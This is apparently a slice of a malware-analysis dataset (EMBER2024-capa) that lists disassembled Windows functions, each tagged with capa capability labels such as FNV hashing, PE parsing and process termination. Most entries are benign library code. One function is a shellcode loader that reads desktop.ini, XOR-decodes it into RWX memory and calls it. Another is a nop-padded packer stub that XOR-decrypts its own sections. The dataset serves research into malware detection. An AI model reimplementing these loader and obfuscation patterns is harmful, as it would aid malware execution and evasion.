joyce8/EMBER2024-capa huggingface dataset:
Function at 0x434ce0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
test eax, eax
js 0x434ced
jmp 0x453570
xor eax, eax
ret
push ebx
push edi
push esi
mov ecx, dword [esp + 0x10]
xor eax, eax
test ecx, ecx
je 0x453646
mov edx, dword [esp + 0x14]
test edx, edx
jle 0x453646
mov esi, edx
shr esi, 2
je 0x4535c7
inc esi
mov eax, edx
nop word [eax + eax]
movzx edi, word [ecx]
dec esi
add edi, eax
movzx eax, word [ecx + 2]
add ecx, 4
mov ebx, edi
shl ebx, 0x10
xor ebx, edi
shl eax, 0xb
xor ebx, eax
mov eax, ebx
shr eax, 0xb
add eax, ebx
cmp esi, 1
jg 0x4535a0
jmp 0x4535c9
mov eax, edx
and dl, 3
cmp dl, 1
je 0x4535f5
cmp dl, 2
je 0x453607
cmp dl, 3
jne 0x45361a
movzx edx, word [ecx]
movsx ecx, byte [ecx + 2]
add eax, edx
shl ecx, 0x12
xor ecx, eax
shl eax, 0x10
xor ecx, eax
mov eax, ecx
shr eax, 0xb
jmp 0x453618
movsx ecx, byte [ecx]
add eax, ecx
mov ecx, eax
shl ecx, 0xa
xor ecx, eax
mov eax, ecx
shr eax, 1
jmp 0x453618
movzx ecx, word [ecx]
add eax, ecx
mov ecx, eax
shl ecx, 0xb
xor ecx, eax
mov eax, ecx
shr eax, 0x11
add eax, ecx
lea ecx, [eax*8]
xor ecx, eax
mov eax, ecx
shr eax, 5
add eax, ecx
mov ecx, eax
shl ecx, 4
xor ecx, eax
mov eax, ecx
shr eax, 0x11
add eax, ecx
mov ecx, eax
shl ecx, 0x19
xor ecx, eax
mov eax, ecx
shr eax, 6
add eax, ecx
pop esi
pop edi
pop ebx
ret
Function at 0x4475c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx + 0x10]
cmp dword [ebx + 0x14], 0xf
jbe 0x4475d7
mov ebx, dword [ebx]
mov esi, eax
test eax, eax
mov eax, 0x811c9dc5
mov dword [ebp - 0x10], esi
je 0x4475ff
mov edx, ebx
nop word [eax + eax]
movzx edi, byte [edx]
inc edx
xor edi, eax
imul eax, edi, 0x1000193
dec esi
jne 0x4475f0
and eax, dword [ecx + 0x18]
mov esi, dword [ecx + 4]
mov ecx, dword [ecx + 0xc]
mov edi, dword [ecx + eax*8]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x10]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], esi
jne 0x447637
jmp 0x447660
mov edi, dword [edi]
cmp dword [ebp - 0x1c], esi
je 0x447660
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov eax, dword [eax + edx*4]
mov eax, dword [eax]
cmp eax, edi
je 0x4476fa
cmp dword [edi + 0x18], ecx
jne 0x447630
cmp dword [edi + 0x1c], 0xf
jbe 0x447670
mov eax, dword [edi + 8]
jmp 0x447673
mov eax, esi
cmp eax, edi
jne 0x44764a
jmp 0x4476fa
lea eax, [edi + 8]
push ecx
push ebx
push eax
call fcn.004d80b4
mov ecx, dword [ebp - 0x10]
add esp, 0xc
test eax, eax
jne 0x447630
mov dword [ebp - 0x20], ebx
mov ebx, edi
cmp dword [ebp - 0x1c], esi
jne 0x4476a7
jmp 0x4476f0
mov ebx, dword [ebx]
cmp dword [ebp - 0x1c], esi
je 0x4476f0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov eax, dword [eax + edx*4]
mov eax, dword [eax]
cmp eax, ebx
je 0x4476f6
cmp ecx, dword [ebx + 0x18]
jne 0x4476f6
cmp dword [ebx + 0x1c], 0xf
jbe 0x4476d0
mov eax, dword [ebx + 8]
jmp 0x4476d3
lea eax, [ebx + 8]
push ecx
push eax
push dword [ebp - 0x20]
call fcn.004d80b4
mov ecx, dword [ebp - 0x10]
add esp, 0xc
test eax, eax
je 0x4476a0
jmp 0x4476f6
mov eax, esi
cmp eax, ebx
jne 0x4476b6
cmp edi, ebx
jne 0x4476fe
mov edi, esi
mov ebx, esi
mov eax, dword [ebp + 8]
mov dword [eax], edi
mov dword [eax + 4], ebx
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x44a890
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0x10]
cmp dword [edx + 0x14], 0xf
mov dword [ebp - 0x10], eax
jbe 0x44a8aa
mov edx, dword [edx]
cmp dword [ebp - 0x10], 0
mov eax, 0x811c9dc5
mov dword [ebp - 0x14], edx
je 0x44a8cf
mov esi, dword [ebp - 0x10]
nop dword [eax + eax]
movzx edi, byte [edx]
inc edx
xor edi, eax
imul eax, edi, 0x1000193
dec esi
jne 0x44a8c0
and eax, dword [ecx + 0x18]
mov esi, dword [ecx + 4]
mov ecx, dword [ecx + 0xc]
mov dword [ebp - 0x20], ecx
mov ecx, dword [ecx + eax*8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x1c], eax
mov edi, ecx
mov dword [ebp - 0x18], ecx
cmp ecx, esi
jne 0x44a8f6
jmp 0x44a910
mov edi, dword [edi]
cmp ecx, esi
je 0x44a910
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, dword [eax + edx*4]
mov eax, dword [eax]
cmp eax, edi
jne 0x44a916
jmp 0x44a95d
mov eax, esi
cmp eax, edi
je 0x44a95d
mov eax, dword [ebp - 0x10]
cmp dword [edi + 0x18], eax
jne 0x44a8f0
cmp dword [edi + 0x1c], 0xf
jbe 0x44a930
mov ebx, dword [edi + 8]
jmp 0x44a933
lea ebx, [edi + 8]
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x10]
push eax
push ebx
call fcn.004d80b4
add esp, 0xc
mov ecx, dword [ebp - 0x18]
test eax, eax
jne 0x44a8f0
push dword [ebp - 0x10]
push ebx
push dword [ebp - 0x14]
call fcn.004d80b4
add esp, 0xc
test eax, eax
je 0x44a96c
mov eax, dword [ebp + 8]
mov dword [eax], esi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret 8
mov eax, dword [ebp + 8]
mov dword [eax], edi
jmp 0x44a962

Function at 0x44ec50
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebp, dword [ecx]
mov edx, dword [ecx + 4]
sub edx, ebp
je 0x44ecc6
sar edx, 2
xor esi, esi
mov ebx, edx
nop word cs:[eax + eax]
mov edi, dword [ebp + esi*4]
inc esi
mov eax, edi
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x5126a4]
mov eax, edi
shr eax, 8
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x5126a4]
mov eax, edi
shr edi, 0x18
shr eax, 0x10
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x5126a4]
movzx eax, bl
shr ebx, 8
xor edi, eax
xor ebx, dword [edi*4 + 0x5126a4]
cmp esi, edx
jb 0x44ec70
jmp 0x44ecc8
xor ebx, ebx
cmp ebx, dword [ecx + 0xc]
sete al
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x44ece0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebp, dword [ecx]
mov edx, dword [ecx + 4]
sub edx, ebp
je 0x44ed56
sar edx, 2
xor esi, esi
mov ebx, edx
nop word cs:[eax + eax]
mov edi, dword [ebp + esi*4]
inc esi
mov eax, edi
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x5126a4]
mov eax, edi
shr eax, 8
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x5126a4]
mov eax, edi
shr edi, 0x18
shr eax, 0x10
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x5126a4]
movzx eax, bl
shr ebx, 8
xor edi, eax
xor ebx, dword [edi*4 + 0x5126a4]
cmp esi, edx
jb 0x44ed00
jmp 0x44ed58
xor ebx, ebx
mov dword [ecx + 0xc], ebx
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x453b40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x5599f4]
mov esi, ecx
xor eax, ebp
mov dword [esp + 0x20], eax
mov edi, dword [esi + 0x40]
test edi, edi
jne 0x453c09
mov dword [esp + 0x1c], 0xf
mov dword [esp + 0x18], 9
mov dword [esp + 0xc], 0x65647261
mov dword [esp + 8], 0x63736964
mov word [esp + 0x10], 0x64
push 0x48
call fcn.004d4bd9
add esp, 4
mov ebx, eax
lea eax, [esp + 8]
mov edi, esp
mov ecx, esi
push eax
push edi
call fcn.004539f0
mov ecx, ebx
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x10]
push eax
call fcn.00454cd0
mov edi, dword [esi + 0x40]
mov dword [esi + 0x40], ebx
test edi, edi
je 0x453bd0
mov ecx, edi
call fcn.00454dc0
push edi
call fcn.004d4c09
add esp, 4
mov ecx, dword [esp + 0x1c]
cmp ecx, 0x10
jb 0x453c06
mov eax, dword [esp + 8]
inc ecx
cmp ecx, 0x1000
jb 0x453bfd
test al, 0x1f
jne 0x453c1e
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x453c1e
add eax, 0xfffffffc
sub eax, ecx
cmp eax, 0x20
mov eax, ecx
jae 0x453c1e
push eax
call fcn.004d4c09
add esp, 4
mov edi, dword [esi + 0x40]
mov ecx, dword [esp + 0x20]
xor ecx, ebp
call fcn.004d4bc8
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.004dc775
int3
Function at 0x45ee60
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov edi, ecx
mov ebx, dword [ebp + 8]
lea esi, [edi + 4]
mov ecx, esi
call fcn.0042cc40
cmp dword [0x5599e4], 2
mov dword [ebp - 0x10], esi
jne 0x45ef2e
movzx edx, bl
mov ecx, ebx
mov eax, ebx
xor edx, 0x811c9dc5
shr ecx, 0x10
shr eax, 0x18
imul esi, edx, 0x1000193
movzx edx, bh
xor esi, edx
mov dword [ebp - 0x14], edx
mov edx, ebx
movzx ebx, cl
imul esi, esi, 0x1000193
and edx, 0xff0000ff
xor esi, ebx
shl ebx, 0x10
imul ecx, esi, 0x1000193
or edx, ebx
xor ecx, eax
mov eax, dword [edi + 0x94]
imul esi, ecx, 0x1000193
mov ecx, dword [edi + 0x9c]
and esi, dword [edi + 0xa8]
mov dword [ebp - 0x18], ecx
mov ebx, dword [ecx + esi*8]
mov ecx, dword [ebp - 0x14]
lea esi, [esi + esi + 1]
shl ecx, 8
or edx, ecx
mov ecx, edx
mov edx, ebx
jmp 0x45ef02
mov edx, dword [edx]
cmp ebx, eax
mov edi, ebx
je 0x45ef10
mov edi, dword [ebp - 0x18]
mov edi, dword [edi + esi*4]
mov edi, dword [edi]
cmp edi, edx
je 0x45ef82
mov edi, ecx
cmp dword [edx + 8], edi
jne 0x45ef00
mov esi, dword [ebp - 0x10]
cmp eax, edx
je 0x45ef85
mov ecx, dword [edx + 0xc]
mov eax, dword [ecx]
call dword [eax + 4]
mov ebx, eax
jmp 0x45ef87
call fcn.00424700
mov ecx, dword [edi + 0x3c]
mov esi, dword [ecx + 4]
mov edx, ecx
cmp byte [esi + 0xd], 0
je 0x45ef59
cmp ecx, edx
je 0x45ef82
mov eax, dword [edx + 0x14]
mov esi, dword [ebp - 0x10]
cmp byte [eax + 0x5c], 0
je 0x45ef85
cmp dword [eax + 0x54], ebx
sete bl
jmp 0x45ef87
mov edx, ecx
nop dword [eax + eax]
cmp dword [esi + 0x10], eax
lea edi, [esi + 8]
cmovae edi, esi
cmovae edx, esi
mov esi, dword [edi]
cmp byte [esi + 0xd], 0
je 0x45ef60
cmp edx, ecx
je 0x45ef9a
cmp eax, dword [edx + 0x10]
cmovb edx, ecx
cmp ecx, edx
jne 0x45ef45
mov esi, dword [ebp - 0x10]
xor ebx, ebx
push esi
call dword [0x50d108]
mov eax, ebx
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov edx, ecx
cmp ecx, edx
jne 0x45ef45
jmp 0x45ef82
Function at 0x45fd60
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x10], ecx
movzx eax, byte [esi]
movzx edx, byte [esi + 1]
xor eax, 0x811c9dc5
imul eax, eax, 0x1000193
xor edx, eax
imul eax, edx, 0x1000193
movzx edx, byte [esi + 2]
xor edx, eax
imul eax, edx, 0x1000193
movzx edx, byte [esi + 3]
mov esi, dword [esi]
xor edx, eax
imul eax, edx, 0x1000193
mov edx, dword [ecx + 0xc]
and eax, dword [ecx + 0x18]
mov ebx, dword [edx + eax*8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x14], eax
mov eax, dword [ecx + 4]
mov ecx, ebx
jmp 0x45fdc2
mov ecx, dword [ecx]
cmp ebx, eax
mov edi, ebx
je 0x45fdd0
mov edi, dword [ebp - 0x14]
mov edi, dword [edx + edi*4]
mov edi, dword [edi]
cmp edi, ecx
je 0x45fde8
cmp dword [ecx + 8], esi
jne 0x45fdc0
cmp ecx, eax
je 0x45fde8
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov byte [eax + 4], 0
jmp 0x45fe43
mov edi, dword [eax]
mov ebx, dword [edi + 4]
push 0x10
call fcn.004d4bd9
add esp, 4
test edi, edi
mov ecx, edi
cmove ecx, eax
mov dword [eax], ecx
mov ecx, ebx
cmove ecx, eax
mov dword [eax + 4], ecx
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x10]
mov dword [eax + 0xc], 0
mov edx, dword [ecx + 8]
cmp edx, 0xffffffe
je 0x45fe4d
inc edx
mov dword [ecx + 8], edx
mov dword [edi + 4], eax
mov dword [ebx], eax
mov eax, dword [ecx + 4]
mov eax, dword [eax]
push eax
add eax, 8
push eax
mov esi, dword [ebp + 8]
push esi
call fcn.0045fe60
mov eax, esi
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret 8
push str.list_T__too_long
call fcn.004d601c
int3
Function at 0x4676e0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
push ebx
push edi
push esi
mov ecx, dword [ecx + 4]
mov eax, dword [ecx + 0x3c]
movzx edx, word [ecx + eax + 6]
test edx, edx
je 0x467729
add eax, ecx
mov esi, dword [esp + 0x14]
xor ebx, ebx
movzx edi, word [eax + 0x14]
lea edi, [eax + edi + 0x18]
xor eax, eax
test edi, edi
je 0x46772f
mov ebp, dword [edi + 0xc]
test ebp, ebp
je 0x467718
add ebp, ecx
cmp ebp, esi
jbe 0x46771a
jmp 0x467721
xor ebp, ebp
add ebp, dword [edi + 8]
cmp ebp, esi
ja 0x46772d
inc ebx
add edi, 0x28
cmp ebx, edx
jb 0x467705
xor eax, eax
jmp 0x46772f
mov eax, edi
pop esi
pop edi
pop ebx
pop ebp
ret 4

Function at 0x46785e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov edi, dword [ebp + 0xc]
mov ebx, ecx
test edi, edi
je 0x467923
mov edx, dword [ebx + 4]
mov eax, dword [ebx]
mov ecx, ebx
mov esi, dword [edx + 0x3c]
push dword [edx + esi + 0x78]
call dword [eax + 4]
mov esi, eax
test esi, esi
je 0x467923
mov eax, dword [ebp + 8]
cmp eax, 0xffff
ja 0x4678a1
mov word [edi], ax
jmp 0x467948
mov eax, dword [ebx]
mov ecx, ebx
push dword [esi + 0x20]
call dword [eax + 4]
mov edi, eax
mov eax, dword [esi + 0x18]
lea ecx, [eax*4]
test ecx, ecx
je 0x467923
mov dword [ebp - 0x18], esi
lea esi, [edi + eax*4]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], edi
inc eax
mov dword [ebp - 0x1c], eax
mov ebx, esi
mov ecx, dword [ebp - 0x10]
sub ebx, edi
mov eax, ebx
shr ebx, 0x1f
sar eax, 2
add ebx, eax
mov eax, dword [ecx]
and ebx, 0x7ffffffe
push dword [edi + ebx*2]
call dword [eax + 4]
mov ecx, dword [ebp + 8]
mov cl, byte [ecx]
test cl, cl
je 0x467905
mov edx, dword [ebp - 0x1c]
cmp cl, byte [eax]
jne 0x467907
mov cl, byte [edx]
inc eax
inc edx
test cl, cl
jne 0x4678f9
xor ecx, ecx
movzx eax, byte [eax]
movzx ecx, cl
lea ebx, [edi + ebx*2]
sub ecx, eax
je 0x467927
test ecx, ecx
lea eax, [ebx + 4]
cmovle esi, ebx
cmovg edi, eax
cmp edi, esi
jne 0x4678ce
xor eax, eax
jmp 0x46794a
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x18]
mov eax, dword [ecx]
push dword [esi + 0x24]
call dword [eax + 4]
sub ebx, dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
sar ebx, 1
movzx eax, word [eax + ebx]
add ax, word [esi + 0x10]
mov word [ecx], ax
mov al, 1
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x4b2342
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 8]
mov esi, dword [eax]
push esi
call fcn.004dc120
add esp, 4
test eax, eax
je 0x4b2374
mov ecx, 0x811c9dc5
movzx edx, byte [esi]
inc esi
xor edx, ecx
imul ecx, edx, 0x1000193
dec eax
jne 0x4b235d
and ecx, 0x7fffffff
jmp 0x4b2379
mov ecx, 0x11c9dc5
push 0x1f31d
push ecx
call fcn.004faee5
add esp, 8
imul ecx, edx, 0x41a7
imul edx, eax, 0xfffff4ec
lea eax, [ecx + edx + 0x7fffffff]
add ecx, edx
cmovns eax, ecx
pop esi
pop ebp
ret 4

Function at 0x4cd5d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xf8
mov eax, dword [0x5599f4]
mov esi, ecx
lea edi, [esi + 0x18]
mov ecx, edi
xor eax, ebp
mov dword [esp + 0xf0], eax
call fcn.004d42da
lea ebx, [esp + 0xb0]
mov ecx, esi
push ebx
push 0
push 0x40
push edx
push eax
call fcn.004ced92
test al, al
je 0x4cd681
movzx eax, word [esp + 0xb0]
cmp eax, 0x5a4d
jne 0x4cd6b6
mov ecx, edi
call fcn.004d42da
mov ebx, eax
mov eax, dword [esp + 0xec]
mov ecx, esi
mov edi, eax
sar edi, 0x1f
add ebx, eax
adc edi, edx
push dword [ebp + 8]
push 0
push 0x108
push edi
push ebx
call fcn.004ced92
test al, al
je 0x4cd6e8
mov eax, dword [ebp + 8]
mov ecx, ebx
cmp dword [eax], 0x4550
jne 0x4cd716
mov eax, dword [ebp + 0xc]
mov bl, 1
test eax, eax
je 0x4cd76a
mov dword [eax], ecx
mov dword [eax + 4], edi
jmp 0x4cd76a
push 1
call fcn.004180d0
add esp, 4
test al, al
je 0x4cd768
mov edi, esp
mov ecx, edi
push 1
push 0x12e
push str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
call fcn.00418160
lea eax, [esp + 8]
push str.could_not_read_dos_header_from
jmp 0x4cd742
push 1
call fcn.004180d0
add esp, 4
test al, al
je 0x4cd768
mov edi, esp
mov ecx, edi
push 1
push 0x134
push str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
call fcn.00418160
lea eax, [esp + 8]
push str.invalid_e_magic_in_dos_header_of
jmp 0x4cd742
push 1
call fcn.004180d0
add esp, 4
test al, al
je 0x4cd768
mov edi, esp
mov ecx, edi
push 1
push 0x13c
push str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
call fcn.00418160
lea eax, [esp + 8]
push str.could_not_read_nt_headers_from
jmp 0x4cd742
push 1
call fcn.004180d0
add esp, 4
test al, al
je 0x4cd768
mov edi, esp
mov ecx, edi
push 1
push 0x142
push str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
call fcn.00418160
lea eax, [esp + 8]
push str.invalid_signature_in_nt_headers_of
push eax
call fcn.004015c0
add esp, 8
mov ecx, dword [esi + 0x10]
cmp dword [esi + 0x14], 0xf
jbe 0x4cd756
mov esi, dword [esi]
push ecx
push esi
push eax
call fcn.00402d0a
add esp, 0xc
mov ecx, edi
call fcn.00417750
xor ebx, ebx
mov ecx, dword [esp + 0xf0]
xor ecx, ebp
call fcn.004d4bc8
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x4cd784
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xf8
mov eax, dword [0x5599f4]
mov esi, ecx
lea edi, [esi + 0x18]
mov ecx, edi
xor eax, ebp
mov dword [esp + 0xf0], eax
call fcn.004d42da
lea ebx, [esp + 0xb0]
mov ecx, esi
push ebx
push 0
push 0x40
push edx
push eax
call fcn.004ced92
test al, al
je 0x4cd835
movzx eax, word [esp + 0xb0]
cmp eax, 0x5a4d
jne 0x4cd86a
mov ecx, edi
call fcn.004d42da
mov ebx, eax
mov eax, dword [esp + 0xec]
mov ecx, esi
mov edi, eax
sar edi, 0x1f
add ebx, eax
adc edi, edx
push dword [ebp + 8]
push 0
push 0xf8
push edi
push ebx
call fcn.004ced92
test al, al
je 0x4cd89c
mov eax, dword [ebp + 8]
mov ecx, ebx
cmp dword [eax], 0x4550
jne 0x4cd8ca
mov eax, dword [ebp + 0xc]
mov bl, 1
test eax, eax
je 0x4cd91e
mov dword [eax], ecx
mov dword [eax + 4], edi
jmp 0x4cd91e
push 1
call fcn.004180d0
add esp, 4
test al, al
je 0x4cd91c
mov edi, esp
mov ecx, edi
push 1
push 0x12e
push str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
call fcn.00418160
lea eax, [esp + 8]
push str.could_not_read_dos_header_from
jmp 0x4cd8f6
push 1
call fcn.004180d0
add esp, 4
test al, al
je 0x4cd91c
mov edi, esp
mov ecx, edi
push 1
push 0x134
push str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
call fcn.00418160
lea eax, [esp + 8]
push str.invalid_e_magic_in_dos_header_of
jmp 0x4cd8f6
push 1
call fcn.004180d0
add esp, 4
test al, al
je 0x4cd91c
mov edi, esp
mov ecx, edi
push 1
push 0x13c
push str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
call fcn.00418160
lea eax, [esp + 8]
push str.could_not_read_nt_headers_from
jmp 0x4cd8f6
push 1
call fcn.004180d0
add esp, 4
test al, al
je 0x4cd91c
mov edi, esp
mov ecx, edi
push 1
push 0x142
push str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
call fcn.00418160
lea eax, [esp + 8]
push str.invalid_signature_in_nt_headers_of
push eax
call fcn.004015c0
add esp, 8
mov ecx, dword [esi + 0x10]
cmp dword [esi + 0x14], 0xf
jbe 0x4cd90a
mov esi, dword [esi]
push ecx
push esi
push eax
call fcn.00402d0a
add esp, 0xc
mov ecx, edi
call fcn.00417750
xor ebx, ebx
mov ecx, dword [esp + 0xf0]
xor ecx, ebp
call fcn.004d4bc8
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x4d5080
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x555f80
call fcn.004d5d30
push 1
call fcn.004d542b
pop ecx
test al, al
jne 0x4d4f32
push 7
call fcn.004d5acb
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.004d53f6
mov byte [ebp - 0x24], al
mov eax, dword [0x55c534]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x4d4f2b
test eax, eax
jne 0x4d4f9c
mov dword [0x55c534], ecx
push 0x50d54c
push 0x50d528
call fcn.004eb28e
pop ecx
pop ecx
test eax, eax
je 0x4d4f7f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4d5075
push 0x50d524
push 0x50d4c0
call fcn.004eb232
pop ecx
pop ecx
mov dword [0x55c534], 2
jmp 0x4d4fa1
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004d5598
pop ecx
call fcn.004d5abf
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4d4fd1
push esi
call fcn.004d550e
pop ecx
test al, al
je 0x4d4fd1
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.004d5d1b
call esi
call fcn.004d5ac5
mov esi, eax
cmp dword [esi], edi
je 0x4d4fef
push esi
call fcn.004d550e
pop ecx
test al, al
je 0x4d4fef
push dword [esi]
call fcn.004e8533
pop ecx
call fcn.004d5be7
movzx eax, ax
push eax
call fcn.004eb1ec
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.004d5c1a
test al, al
jne 0x4d501a
push esi
call fcn.004e856b
test bl, bl
jne 0x4d5023
call fcn.004e850e
push edi
push 1
call fcn.004d55b5
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x4d5075
call fcn.004d5d76
ret
call fcn.004d59fc
jmp 0x4d4f13

Function at 0x4ef2cc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ef149
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x571a2617
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x3deb4ce8
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219